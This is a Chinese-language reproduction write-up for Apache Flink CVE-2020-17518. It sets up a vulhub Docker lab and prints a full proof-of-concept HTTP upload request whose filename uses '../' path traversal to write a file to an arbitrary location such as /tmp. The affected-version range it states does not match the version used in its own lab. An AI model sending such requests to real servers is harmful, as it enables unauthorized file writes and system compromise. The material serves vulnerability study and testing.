一、漏洞描述
ApacheFlink是一个开源的流处理框架,具有强大的流处理和批处理功能。
ApacheFlink 1.5.1 引入了 REST 处理程序,允许您通过恶意修改的 HTTP 头将上载的文件写入本地文件系统上的任意位置。
二、漏洞影响
1.5.1 < ApacheFlink < 1.11.2
三、漏洞复现
1、环境搭建
执行以下命令启动 Apache Flink JobManager 1.11.2:
cd vulhub/flink/CVE-2020-17518
docker-compose up -d
Apache Flink 启动后,访问 http://x.x.x.x:8081
查看主页:
2、漏洞复现
JAR包存放目录是/tmp/flink-web-UUID/flink-web-upload
,使用多次../
回到根目录,上传success
文件:
查看/tmp/
目录,可发现success
文件:
四、漏洞POC
POST /jars/upload HTTP/1.1
Host: localhost:8081
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoZ8meKnrrso89R6Y
Content-Length: 187
------WebKitFormBoundaryoZ8meKnrrso89R6Y
Content-Disposition: form-data; name="jarfile"; filename="../../../../../../tmp/success"
success
------WebKitFormBoundaryoZ8meKnrrso89R6Y--